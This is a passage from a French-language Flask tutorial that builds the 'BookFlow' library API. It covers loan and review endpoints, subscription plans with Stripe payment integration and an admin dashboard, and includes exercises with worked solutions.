              if emprunt_actif else 'inconnue'
          )
          return jsonify({
              'error': f'Ce livre n\'est pas disponible',
              'retour_prevu': retour_prevu
          }), 409

      # Vérifier que l'utilisateur n'a pas trop d'emprunts
      nb_emprunts_actifs = Emprunt.query.filter_by(
          user_id=user.id, statut='en_cours'
      ).count()
      if nb_emprunts_actifs >= MAX_EMPRUNTS_SIMULTANES:
          return jsonify({
              'error': f'Vous avez atteint le maximum de {MAX_EMPRUNTS_SIMULTANES} emprunts simultanés',
              'emprunts_actifs': nb_emprunts_actifs
          }), 409

      # Vérifier que l'utilisateur n'a pas déjà ce livre
      deja_emprunte = Emprunt.query.filter_by(
          user_id=user.id, livre_id=livre_id, statut='en_cours'
      ).first()
      if deja_emprunte:
          return jsonify({'error': 'Vous avez déjà emprunté ce livre'}), 409

      # ── Calculer la date de retour ──
      maintenant = datetime.now(timezone.utc)
      date_retour_str = data.get('date_retour')
      if date_retour_str:
          try:
              date_retour = datetime.fromisoformat(date_retour_str.replace('Z', '+00:00'))
              if date_retour <= maintenant:
                  return jsonify({'error': 'La date de retour doit être dans le futur'}), 400
              delta = (date_retour - maintenant).days
              if delta > 30:
                  return jsonify({'error': 'La durée maximum d\'emprunt est 30 jours'}), 400
          except ValueError:
              return jsonify({'error': 'Format de date invalide (ISO 8601)'}), 400
      else:
          date_retour = maintenant + timedelta(days=DUREE_EMPRUNT_JOURS)

      # ── Créer l'emprunt ──
      try:
          emprunt = Emprunt(
              user_id=user.id,
              livre_id=livre_id,
              date_debut=maintenant,
              date_retour_prevue=date_retour,
              statut='en_cours',
              notes=data.get('notes', '').strip() or None
          )
          livre.disponible = False
          db.session.add(emprunt)
          db.session.commit()

          # Publier l'événement
          from app.events.event_bus import EventBus
          EventBus.publier('emprunt.cree', emprunt=emprunt, user=user)

          return jsonify({
              'success': True,
              'message': f'Vous avez emprunté « {livre.titre} »',
              'data': {
                  **emprunt.to_dict(),
                  'livre': {'titre': livre.titre, 'auteur': livre.auteur}
              }
          }), 201

      except Exception as e:
          db.session.rollback()
          from flask import current_app
          current_app.logger.error(f"Erreur création emprunt: {e}")
          return jsonify({'error': 'Erreur interne'}), 500

  @emprunts_bp.route('/<int:emprunt_id>/retourner', methods=['PATCH'])
  @login_requis
  def retourner_livre(emprunt_id):
      """
      PATCH /api/v1/emprunts/<id>/retourner
      Retourner un livre emprunté.
      """
      user = obtenir_utilisateur_courant()

      emprunt = Emprunt.query.get_or_404(emprunt_id)

      # Vérifier que c'est bien l'emprunt de cet utilisateur (ou admin)
      if emprunt.user_id != user.id and user.role != 'admin':
          return jsonify({'error': 'Cet emprunt ne vous appartient pas'}), 403

      if emprunt.statut != 'en_cours':
          return jsonify({
              'error': f'Impossible de retourner un emprunt au statut "{emprunt.statut}"'
          }), 409

      try:
          emprunt.statut = 'retourne'
          emprunt.date_retour_reelle = datetime.now(timezone.utc)
          emprunt.livre.disponible = True
          db.session.commit()

          # Calculer si rendu en retard
          etait_en_retard = emprunt.date_retour_reelle > emprunt.date_retour_prevue
          jours_retard = 0
          if etait_en_retard:
              delta = emprunt.date_retour_reelle - emprunt.date_retour_prevue
              jours_retard = delta.days

          return jsonify({
              'success': True,
              'message': f'Livre « {emprunt.livre.titre} » retourné avec succès',
              'data': emprunt.to_dict(),
              'retard': {
                  'etait_en_retard': etait_en_retard,
                  'jours_retard':    jours_retard
              }
          })

      except Exception as e:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

  @emprunts_bp.route('/historique', methods=['GET'])
  @login_requis
  def historique_emprunts():
      """
      GET /api/v1/emprunts/historique
      Historique complet des emprunts de l'utilisateur.
      """
      user = obtenir_utilisateur_courant()
      page = request.args.get('page', 1, type=int)
      annee = request.args.get('annee', type=int)

      query = Emprunt.query.filter_by(user_id=user.id).options(
          joinedload(Emprunt.livre)
      )

      if annee:
          query = query.filter(
              db.extract('year', Emprunt.created_at) == annee
          )

      pagination = query.order_by(Emprunt.created_at.desc()).paginate(
          page=page, per_page=20, error_out=False
      )

      # Statistiques de l'historique
      from sqlalchemy import func
      stats = db.session.query(
          func.count(Emprunt.id).label('total'),
          func.sum(
              db.case([(Emprunt.statut == 'retourne', 1)], else_=0)
          ).label('retournes'),
          func.sum(
              db.case([(Emprunt.statut == 'en_cours', 1)], else_=0)
          ).label('en_cours')
      ).filter_by(user_id=user.id).first()

      return jsonify({
          'success': True,
          'data': [
              {
                  **e.to_dict(),
                  'livre': {'titre': e.livre.titre, 'auteur': e.livre.auteur}
                  if e.livre else None
              }
              for e in pagination.items
          ],
          'statistiques': {
              'total_emprunts': stats.total or 0,
              'retournes':      stats.retournes or 0,
              'en_cours':       stats.en_cours or 0
          },
          'meta': {
              'total': pagination.total,
              'page':  page,
              'pages': pagination.pages
          }
      })


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  ENDPOINT AVIS — CODE COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/v1/avis.py
  from flask import Blueprint, jsonify, request
  from sqlalchemy import func
  from sqlalchemy.orm import joinedload
  from app.extensions import db
  from app.models import Avis, Livre, Emprunt
  from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant

  avis_bp = Blueprint('avis', __name__)

  @avis_bp.route('/livres/<int:livre_id>/avis', methods=['GET'])
  def get_avis_livre(livre_id):
      """
      GET /api/v1/livres/<id>/avis
      Retourne les avis d'un livre avec statistiques.
      """
      db.get_or_404(Livre, livre_id)

      page = request.args.get('page', 1, type=int)
      sort = request.args.get('sort', 'recent')  # recent, note_desc, note_asc

      query = Avis.query.filter_by(livre_id=livre_id).options(
          joinedload(Avis.auteur)
      )

      if sort == 'note_desc':
          query = query.order_by(Avis.note.desc())
      elif sort == 'note_asc':
          query = query.order_by(Avis.note.asc())
      else:  # recent
          query = query.order_by(Avis.created_at.desc())

      pagination = query.paginate(page=page, per_page=10, error_out=False)

      # Statistiques des notes
      stats = db.session.query(
          func.avg(Avis.note).label('moyenne'),
          func.count(Avis.id).label('total'),
          func.sum(db.case([(Avis.note == 5, 1)], else_=0)).label('cinq'),
          func.sum(db.case([(Avis.note == 4, 1)], else_=0)).label('quatre'),
          func.sum(db.case([(Avis.note == 3, 1)], else_=0)).label('trois'),
          func.sum(db.case([(Avis.note == 2, 1)], else_=0)).label('deux'),
          func.sum(db.case([(Avis.note == 1, 1)], else_=0)).label('un')
      ).filter_by(livre_id=livre_id).first()

      return jsonify({
          'success': True,
          'data': [
              {
                  **a.to_dict(),
                  'auteur': {
                      'nom': a.auteur.nom,
                      'avatar_url': a.auteur.avatar_url
                  } if a.auteur else None
              }
              for a in pagination.items
          ],
          'statistiques': {
              'note_moyenne':    round(float(stats.moyenne), 2) if stats.moyenne else None,
              'total':           stats.total or 0,
              'distribution': {
                  5: stats.cinq or 0,
                  4: stats.quatre or 0,
                  3: stats.trois or 0,
                  2: stats.deux or 0,
                  1: stats.un or 0
              }
          },
          'meta': {'total': pagination.total, 'page': page, 'pages': pagination.pages}
      })

  @avis_bp.route('/livres/<int:livre_id>/avis', methods=['POST'])
  @login_requis
  def creer_avis(livre_id):
      """
      POST /api/v1/livres/<id>/avis
      Poster un avis sur un livre.
      Règle : avoir déjà emprunté le livre + un seul avis par livre.
      """
      user = obtenir_utilisateur_courant()
      livre = db.get_or_404(Livre, livre_id)
      data = request.get_json(silent=True) or {}

      note = data.get('note')
      if not isinstance(note, int) or not (1 <= note <= 5):
          return jsonify({'error': 'Note requise entre 1 et 5'}), 400

      # Règle : avoir emprunté le livre (optionnel selon les règles business)
      a_emprunte = Emprunt.query.filter_by(
          user_id=user.id, livre_id=livre_id
      ).filter(Emprunt.statut.in_(['retourne', 'en_cours'])).first()

      # Décommenter pour exiger d'avoir emprunté :
      # if not a_emprunte:
      #     return jsonify({'error': 'Vous devez avoir emprunté ce livre pour laisser un avis'}), 403

      # Un seul avis par utilisateur par livre
      avis_existant = Avis.query.filter_by(
          user_id=user.id, livre_id=livre_id
      ).first()
      if avis_existant:
          return jsonify({
              'error': 'Vous avez déjà posté un avis pour ce livre',
              'avis_id': avis_existant.id
          }), 409

      commentaire = (data.get('commentaire', '') or '').strip()
      if commentaire and len(commentaire) > 2000:
          return jsonify({'error': 'Commentaire trop long (max 2000 caractères)'}), 400

      try:
          avis = Avis(
              user_id=user.id,
              livre_id=livre_id,
              note=note,
              commentaire=commentaire or None
          )
          db.session.add(avis)

          # Mettre à jour la note moyenne du livre
          db.session.flush()
          stats = db.session.query(
              func.avg(Avis.note), func.count(Avis.id)
          ).filter_by(livre_id=livre_id).first()

          if hasattr(livre, 'note_moyenne'):
              livre.note_moyenne = round(float(stats[0]), 2) if stats[0] else None
          if hasattr(livre, 'nb_avis'):
              livre.nb_avis = stats[1] or 0

          db.session.commit()

          return jsonify({
              'success': True,
              'message': 'Votre avis a été publié',
              'data': avis.to_dict()
          }), 201

      except Exception as e:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

  @avis_bp.route('/avis/<int:avis_id>', methods=['PATCH'])
  @login_requis
  def modifier_avis(avis_id):
      """Modifier son propre avis."""
      user = obtenir_utilisateur_courant()
      avis = db.get_or_404(Avis, avis_id)

      if avis.user_id != user.id:
          return jsonify({'error': 'Vous ne pouvez modifier que vos propres avis'}), 403

      data = request.get_json(silent=True) or {}
      if 'note' in data:
          note = data['note']
          if not isinstance(note, int) or not (1 <= note <= 5):
              return jsonify({'error': 'Note doit être entre 1 et 5'}), 400
          avis.note = note

      if 'commentaire' in data:
          avis.commentaire = (data['commentaire'] or '').strip() or None

      from datetime import datetime, timezone
      avis.modifie_le = datetime.now(timezone.utc)
      db.session.commit()

      return jsonify({'success': True, 'data': avis.to_dict()})

  @avis_bp.route('/avis/<int:avis_id>', methods=['DELETE'])
  @login_requis
  def supprimer_avis(avis_id):
      """Supprimer son propre avis (ou admin)."""
      user = obtenir_utilisateur_courant()
      avis = db.get_or_404(Avis, avis_id)

      if avis.user_id != user.id and user.role != 'admin':
          return jsonify({'error': 'Vous ne pouvez supprimer que vos propres avis'}), 403

      db.session.delete(avis)
      db.session.commit()
      return '', 204


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 48.1 : Implémente GET /api/v1/livres/<id>/similaires.
    Retourne les 5 livres du même genre, les mieux notés,
    en excluant le livre courant.

  Exercice 48.2 : Implémente GET /api/v1/livres/populaires.
    Utilise les compteurs de vues Redis (Partie 12).
    Retourne les 10 livres les plus vus cette semaine.

  Exercice 48.3 : Implémente PATCH /admin/utilisateurs/<id>/role.
    Seul un admin peut changer le rôle.
    Impossible de se downgrader soi-même.

NIVEAU INTERMÉDIAIRE :
  Exercice 48.4 : Implémente POST /livres/import en masse.
    Accepte une liste de jusqu'à 500 livres.
    Retourne le détail des succès et des erreurs individuellement.

  Exercice 48.5 : Ajoute les recommandations personnalisées.
    GET /api/v1/utilisateurs/me/recommandations
    Basé sur les genres des livres déjà empruntés par l'utilisateur.

NIVEAU AVANCÉ :
  Exercice 48.6 : Implémente un système de notifications en temps réel.
    Quand un livre réservé devient disponible -> notifier l'utilisateur.
    Utiliser Redis Pub/Sub + Server-Sent Events (SSE).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 48.1 — Livres similaires :

  @api_livres_bp.route('/<int:livre_id>/similaires')
  def livres_similaires(livre_id):
      livre = db.get_or_404(Livre, livre_id)
      n = min(10, request.args.get('n', 5, type=int))

      similaires = Livre.query.filter(
          Livre.genre == livre.genre,
          Livre.id != livre_id,
          Livre.supprime_le.is_(None)
      ).order_by(
          Livre.note_moyenne.desc().nullslast(),
          Livre.nb_avis.desc().nullslast()
      ).limit(n).all()

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in similaires],
          'basé_sur': {'genre': livre.genre}
      })

CORRIGÉ 48.5 — Recommandations personnalisées :

  @api_users_bp.route('/me/recommandations')
  @login_requis
  def mes_recommandations():
      user = obtenir_utilisateur_courant()

      # Trouver les genres préférés de l'utilisateur
      from sqlalchemy import func
      genres_preferes = db.session.query(
          Livre.genre, func.count(Emprunt.id).label('nb')
      ).join(Emprunt, Emprunt.livre_id == Livre.id)\
       .filter(Emprunt.user_id == user.id)\
       .group_by(Livre.genre)\
       .order_by(func.count(Emprunt.id).desc())\
       .limit(3).all()

      if not genres_preferes:
          # Utilisateur sans historique : livres populaires
          livres = Livre.actifs().order_by(
              Livre.note_moyenne.desc().nullslast()
          ).limit(10).all()
          return jsonify({'success': True, 'data': [l.to_dict() for l in livres],
                          'base': 'populaires'})

      genres = [g for g, _ in genres_preferes]

      # Livres déjà empruntés (à exclure)
      deja_empruntes = db.session.query(Emprunt.livre_id)\
          .filter(Emprunt.user_id == user.id).subquery()

      # Recommander des livres non encore empruntés dans les genres favoris
      recommandations = Livre.actifs().filter(
          Livre.genre.in_(genres),
          Livre.id.notin_(deja_empruntes)
      ).order_by(
          Livre.note_moyenne.desc().nullslast()
      ).limit(10).all()

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in recommandations],
          'base': 'historique',
          'genres_favoris': genres
      })


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 49 — SAAS BACKEND : ABONNEMENTS ET FACTURATION             ║
║     Plans d'abonnement, limites et intégration paiement                          ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  MODÈLE D'ABONNEMENT BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PLANS DISPONIBLES :
  ┌──────────────┬──────────┬─────────────────────────────────────────┐
  │ PLAN         │ PRIX     │ AVANTAGES                               │
  ├──────────────┼──────────┼─────────────────────────────────────────┤
  │ Gratuit      │ 0€/mois  │ 2 emprunts simultanés, accès catalogue  │
  │ Standard     │ 4.99€/mois│ 5 emprunts, réservations, télécharg.  │
  │ Premium      │ 9.99€/mois│ Illimité, accès prioritaire, API       │
  └──────────────┴──────────┴─────────────────────────────────────────┘

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  MODÈLE D'ABONNEMENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/abonnement.py
  from datetime import datetime, timezone
  from app.extensions import db

  class PlanAbonnement(db.Model):
      """Définit les plans disponibles."""
      __tablename__ = 'plans_abonnement'

      id              = db.Column(db.Integer, primary_key=True)
      nom             = db.Column(db.String(50), nullable=False, unique=True)
      slug            = db.Column(db.String(50), nullable=False, unique=True)
      prix_mensuel    = db.Column(db.Numeric(10, 2), nullable=False, default=0)
      max_emprunts    = db.Column(db.Integer, nullable=False, default=2)
      peut_reserver   = db.Column(db.Boolean, default=False)
      peut_telecharger = db.Column(db.Boolean, default=False)
      acces_api       = db.Column(db.Boolean, default=False)
      est_actif       = db.Column(db.Boolean, default=True)
      ordre           = db.Column(db.Integer, default=0)

      def to_dict(self):
          return {
              'id': self.id, 'nom': self.nom, 'slug': self.slug,
              'prix_mensuel': float(self.prix_mensuel),
              'max_emprunts': self.max_emprunts,
              'peut_reserver': self.peut_reserver,
              'peut_telecharger': self.peut_telecharger,
              'acces_api': self.acces_api
          }

  class Abonnement(db.Model):
      """Abonnement actif d'un utilisateur."""
      __tablename__ = 'abonnements'

      id           = db.Column(db.Integer, primary_key=True)
      user_id      = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      plan_id      = db.Column(db.Integer, db.ForeignKey('plans_abonnement.id'), nullable=False)
      statut       = db.Column(db.String(20), default='actif')
      # statut : actif, pause, annule, expire

      date_debut   = db.Column(db.DateTime(timezone=True),
                               default=lambda: datetime.now(timezone.utc))
      date_fin     = db.Column(db.DateTime(timezone=True), nullable=True)
      # date_fin NULL = mensuel renouvelable

      # Référence paiement (Stripe, CinetPay, etc.)
      stripe_subscription_id = db.Column(db.String(100), nullable=True)
      stripe_customer_id     = db.Column(db.String(100), nullable=True)

      # Relations
      plan = db.relationship('PlanAbonnement', backref='abonnements')

      @property
      def est_actif(self):
          if self.statut != 'actif':
              return False
          if self.date_fin and self.date_fin < datetime.now(timezone.utc):
              return False
          return True

      def to_dict(self):
          return {
              'id': self.id,
              'plan': self.plan.to_dict() if self.plan else None,
              'statut': self.statut,
              'est_actif': self.est_actif,
              'date_debut': self.date_debut.isoformat() if self.date_debut else None,
              'date_fin': self.date_fin.isoformat() if self.date_fin else None
          }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SERVICE D'ABONNEMENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/services/abonnement_service.py
  from app.models import Abonnement, PlanAbonnement
  from app.extensions import db

  class AbonnementService:
      """Gestion des abonnements et des limites."""

      PLANS = {
          'gratuit':  {'max_emprunts': 2,  'peut_reserver': False, 'peut_telecharger': False},
          'standard': {'max_emprunts': 5,  'peut_reserver': True,  'peut_telecharger': True},
          'premium':  {'max_emprunts': 999, 'peut_reserver': True, 'peut_telecharger': True},
      }

      @staticmethod
      def obtenir_abonnement_actif(user_id: int):
          """Retourne l'abonnement actif de l'utilisateur."""
          return Abonnement.query.filter_by(
              user_id=user_id, statut='actif'
          ).join(PlanAbonnement).first()

      @staticmethod
      def obtenir_plan(user_id: int) -> str:
          """Retourne le slug du plan actuel de l'utilisateur."""
          abo = AbonnementService.obtenir_abonnement_actif(user_id)
          if abo and abo.est_actif and abo.plan:
              return abo.plan.slug
          return 'gratuit'

      @staticmethod
      def get_limite_emprunts(user_id: int) -> int:
          """Retourne le nombre max d'emprunts pour l'utilisateur."""
          plan = AbonnementService.obtenir_plan(user_id)
          return AbonnementService.PLANS.get(plan, {}).get('max_emprunts', 2)

      @staticmethod
      def peut_emprunter(user_id: int) -> tuple:
          """Vérifie si l'utilisateur peut encore emprunter."""
          from app.models import Emprunt
          max_emprunts = AbonnementService.get_limite_emprunts(user_id)
          nb_actifs = Emprunt.query.filter_by(
              user_id=user_id, statut='en_cours'
          ).count()
          return nb_actifs < max_emprunts, nb_actifs, max_emprunts

      @staticmethod
      def verifier_acces(user_id: int, fonctionnalite: str) -> bool:
          """Vérifie si l'utilisateur a accès à une fonctionnalité."""
          plan = AbonnementService.obtenir_plan(user_id)
          return AbonnementService.PLANS.get(plan, {}).get(fonctionnalite, False)

      @staticmethod
      def souscrire(user_id: int, plan_slug: str) -> Abonnement:
          """Souscrire à un plan."""
          plan = PlanAbonnement.query.filter_by(slug=plan_slug, est_actif=True).first()
          if not plan:
              raise ValueError(f"Plan '{plan_slug}' introuvable")

          # Annuler l'abonnement actuel si existant
          abo_actuel = AbonnementService.obtenir_abonnement_actif(user_id)
          if abo_actuel:
              abo_actuel.statut = 'annule'

          # Créer le nouvel abonnement
          nouvel_abo = Abonnement(
              user_id=user_id,
              plan_id=plan.id,
              statut='actif'
          )
          db.session.add(nouvel_abo)
          db.session.commit()
          return nouvel_abo

  # Décorateur de vérification d'abonnement
  def abonnement_requis(fonctionnalite: str):
      """Décorateur qui vérifie qu'un utilisateur a accès à une fonctionnalité."""
      from functools import wraps
      from flask import jsonify
      from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant

      def decorateur(f):
          @wraps(f)
          @login_requis
          def wrapper(*args, **kwargs):
              user = obtenir_utilisateur_courant()
              if not AbonnementService.verifier_acces(user.id, fonctionnalite):
                  plan = AbonnementService.obtenir_plan(user.id)
                  return jsonify({
                      'error': f'Cette fonctionnalité nécessite un plan supérieur',
                      'plan_actuel': plan,
                      'fonctionnalite': fonctionnalite,
                      'upgrade_url': '/api/v1/abonnements/plans'
                  }), 403
              return f(*args, **kwargs)
          return wrapper
      return decorateur

  # Utilisation :
  # @abonnement_requis('peut_telecharger')
  # def telecharger_livre(livre_id):
  #     ...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  INTÉGRATION PAIEMENT (STRIPE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install stripe

  # app/routes/api/v1/paiements.py
  import stripe
  from flask import Blueprint, jsonify, request, current_app

  paiements_bp = Blueprint('paiements', __name__)

  @paiements_bp.route('/abonnements/plans', methods=['GET'])
  def get_plans():
      """Liste les plans disponibles."""
      plans = PlanAbonnement.query.filter_by(est_actif=True)\
          .order_by(PlanAbonnement.ordre).all()
      return jsonify({'success': True, 'data': [p.to_dict() for p in plans]})

  @paiements_bp.route('/abonnements/souscrire', methods=['POST'])
  @login_requis
  def souscrire_plan():
      """Crée une session de paiement Stripe pour un abonnement."""
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}
      plan_slug = data.get('plan_slug')

      if not plan_slug:
          return jsonify({'error': 'plan_slug requis'}), 400

      plan = PlanAbonnement.query.filter_by(slug=plan_slug, est_actif=True).first()
      if not plan:
          return jsonify({'error': 'Plan introuvable'}), 404

      if float(plan.prix_mensuel) == 0:
          # Plan gratuit : pas de paiement
          abo = AbonnementService.souscrire(user.id, plan_slug)
          return jsonify({'success': True, 'abonnement': abo.to_dict()})

      # Plan payant : créer une session Stripe
      stripe.api_key = current_app.config['STRIPE_SECRET_KEY']

      try:
          session = stripe.checkout.Session.create(
              payment_method_types=['card'],
              line_items=[{
                  'price_data': {
                      'currency': 'eur',
                      'product_data': {'name': f'BookFlow {plan.nom}'},
                      'unit_amount': int(float(plan.prix_mensuel) * 100),
                      'recurring': {'interval': 'month'},
                  },
                  'quantity': 1,
              }],
              mode='subscription',
              customer_email=user.email,
              success_url=f"{current_app.config['FRONTEND_URL']}/abonnement/succes?session_id={{CHECKOUT_SESSION_ID}}",
              cancel_url=f"{current_app.config['FRONTEND_URL']}/abonnement/annule",
              metadata={
                  'user_id': str(user.id),
                  'plan_slug': plan_slug
              }
          )
          return jsonify({'success': True, 'checkout_url': session.url})

      except stripe.error.StripeError as e:
          return jsonify({'error': f'Erreur paiement : {e.user_message}'}), 400

  @paiements_bp.route('/webhooks/stripe', methods=['POST'])
  def webhook_stripe():
      """
      Webhook Stripe : reçoit les événements de paiement.
      Stripe appelle cette URL pour confirmer les paiements.
      """
      payload = request.data
      sig_header = request.headers.get('Stripe-Signature')

      try:
          event = stripe.Webhook.construct_event(
              payload, sig_header,
              current_app.config['STRIPE_WEBHOOK_SECRET']
          )
      except (ValueError, stripe.error.SignatureVerificationError) as e:
          return jsonify({'error': 'Signature invalide'}), 400

      # Traiter l'événement
      if event['type'] == 'checkout.session.completed':
          session = event['data']['object']
          user_id = int(session['metadata']['user_id'])
          plan_slug = session['metadata']['plan_slug']
          AbonnementService.souscrire(user_id, plan_slug)
          current_app.logger.info(f"Abonnement {plan_slug} activé pour user {user_id}")

      elif event['type'] == 'customer.subscription.deleted':
          # Abonnement annulé : repasser en gratuit
          customer_id = event['data']['object']['customer']
          abo = Abonnement.query.filter_by(
              stripe_customer_id=customer_id, statut='actif'
          ).first()
          if abo:
              abo.statut = 'annule'
              AbonnementService.souscrire(abo.user_id, 'gratuit')

      return jsonify({'received': True})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 49.1 : Crée les modèles PlanAbonnement et Abonnement.
    Peuple les plans dans le seed_db.py.
    Crée la migration correspondante.

  Exercice 49.2 : Intègre AbonnementService dans l'endpoint creer_emprunt.
    Remplacer MAX_EMPRUNTS_SIMULTANES fixe par get_limite_emprunts(user.id).

  Exercice 49.3 : Crée GET /api/v1/mon-abonnement qui retourne
    le plan actuel, les limites et les fonctionnalités disponibles.

NIVEAU INTERMÉDIAIRE :
  Exercice 49.4 : Ajoute le décorateur @abonnement_requis('peut_telecharger')
    sur une route hypothétique de téléchargement d'ebook.
    Teste qu'un utilisateur gratuit reçoit bien 403 avec les infos d'upgrade.

NIVEAU AVANCÉ :
  Exercice 49.5 : Intègre CinetPay (solution de paiement africaine) comme
    alternative à Stripe pour les utilisateurs en Afrique.
    Crée une stratégie de paiement interchangeable.


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 50 — DASHBOARD ADMINISTRATEUR                               ║
║     Interface web pour gérer BookFlow sans toucher à la BDD                       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  API ADMIN — ENDPOINTS COMPLETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/v1/admin.py
  from flask import Blueprint, jsonify, request
  from sqlalchemy import func, extract
  from sqlalchemy.orm import joinedload
  from datetime import datetime, timezone, timedelta
  from app.extensions import db, cache
  from app.models import Livre, Utilisateur, Emprunt, Avis, Abonnement
  from app.utils.jwt_utils import admin_requis, obtenir_utilisateur_courant

  admin_bp = Blueprint('admin', __name__)

  @admin_bp.before_request
  def verifier_admin():
      """Tous les endpoints admin nécessitent le rôle admin."""
      pass  # Géré par les décorateurs individuels

  @admin_bp.route('/dashboard', methods=['GET'])
  @admin_requis
  @cache.cached(timeout=60, key_prefix='admin_dashboard')
  def dashboard():
      """
      GET /api/v1/admin/dashboard
      Tableau de bord avec les métriques clés de la plateforme.
      """
      maintenant = datetime.now(timezone.utc)
      debut_mois  = maintenant.replace(day=1, hour=0, minute=0, second=0, microsecond=0)
      il_y_a_7j   = maintenant - timedelta(days=7)
      il_y_a_30j  = maintenant - timedelta(days=30)

      # ── Métriques livres ──
      total_livres     = Livre.query.count()
      livres_actifs    = Livre.actifs().count()
      livres_dispo     = Livre.actifs().filter_by(disponible=True).count()
      livres_empruntes = livres_actifs - livres_dispo

      # ── Métriques utilisateurs ──
      total_users  = Utilisateur.query.count()
      users_actifs = Utilisateur.query.filter_by(est_actif=True).count()
      new_users_7j = Utilisateur.query.filter(
          Utilisateur.created_at >= il_y_a_7j
      ).count()

      # ── Métriques emprunts ──
      emprunts_actifs      = Emprunt.query.filter_by(statut='en_cours').count()
      emprunts_ce_mois     = Emprunt.query.filter(Emprunt.created_at >= debut_mois).count()
      emprunts_en_retard   = Emprunt.query.filter(
          Emprunt.statut == 'en_cours',
          Emprunt.date_retour_prevue < maintenant
      ).count()

      # ── Évolution emprunts 30 jours ──
      emprunts_par_jour = db.session.query(
          func.date(Emprunt.created_at).label('date'),
          func.count(Emprunt.id).label('nb')
      ).filter(
          Emprunt.created_at >= il_y_a_30j
      ).group_by(
          func.date(Emprunt.created_at)
      ).order_by('date').all()

      # ── Top livres empruntés ──
      top_livres = db.session.query(
          Livre.id, Livre.titre, Livre.auteur,
          func.count(Emprunt.id).label('nb_emprunts')
      ).join(Emprunt, Livre.id == Emprunt.livre_id)\
       .group_by(Livre.id, Livre.titre, Livre.auteur)\
       .order_by(func.count(Emprunt.id).desc())\
       .limit(5).all()

      # ── Répartition par genre ──
      par_genre = db.session.query(
          Livre.genre,
          func.count(Livre.id).label('total_livres'),
          func.sum(db.case([(Livre.disponible == True, 1)], else_=0)).label('disponibles')
      ).filter(Livre.supprime_le.is_(None))\
       .group_by(Livre.genre)\
       .order_by(func.count(Livre.id).desc()).all()

      # ── Abonnements ──
      plans_stats = db.session.query(
          func.count(Abonnement.id).label('total'),
          func.count(db.case([(Abonnement.statut == 'actif', 1)])).label('actifs')
      ).first()

      return jsonify({
          'success': True,
          'data': {
              'livres': {
                  'total':    total_livres,
                  'actifs':   livres_actifs,
                  'disponibles': livres_dispo,
                  'empruntes': livres_empruntes,
                  'taux_utilisation': round(livres_empruntes / livres_actifs * 100, 1)
                                      if livres_actifs > 0 else 0
              },
              'utilisateurs': {
                  'total':   total_users,
                  'actifs':  users_actifs,
                  'nouveaux_7j': new_users_7j
              },
              'emprunts': {
                  'actifs':    emprunts_actifs,
                  'ce_mois':   emprunts_ce_mois,
                  'en_retard': emprunts_en_retard,
                  'evolution_30j': [
                      {'date': str(d), 'nb': n}
                      for d, n in emprunts_par_jour
                  ]
              },
              'top_livres': [
                  {'id': id_, 'titre': t, 'auteur': a, 'nb_emprunts': nb}
                  for id_, t, a, nb in top_livres
              ],
              'par_genre': [
                  {'genre': g, 'total': t, 'disponibles': d or 0}
                  for g, t, d in par_genre
              ],
              'mis_a_jour': maintenant.isoformat()
          }
      })

  @admin_bp.route('/utilisateurs', methods=['GET'])
  @admin_requis
  def admin_utilisateurs():
      """Liste des utilisateurs avec filtres et statistiques."""
      page    = request.args.get('page', 1, type=int)
      q       = request.args.get('q', '')
      role    = request.args.get('role')
      actif   = request.args.get('actif')
      sort    = request.args.get('sort', 'created_at')
      order   = request.args.get('order', 'desc')

      query = Utilisateur.query

      if q:
          terme = f'%{q}%'
          query = query.filter(
              db.or_(Utilisateur.nom.ilike(terme), Utilisateur.email.ilike(terme))
          )
      if role:
          query = query.filter_by(role=role)
      if actif is not None:
          query = query.filter_by(est_actif=(actif.lower() == 'true'))

      champ_tri = getattr(Utilisateur, sort, Utilisateur.created_at)
      query = query.order_by(champ_tri.desc() if order == 'desc' else champ_tri.asc())

      pagination = query.paginate(page=page, per_page=20, error_out=False)

      users_data = []
      for user in pagination.items:
          data = user.to_dict(include_private=True)
          data['nb_emprunts'] = Emprunt.query.filter_by(user_id=user.id).count()
          data['emprunts_actifs'] = Emprunt.query.filter_by(
              user_id=user.id, statut='en_cours'
          ).count()
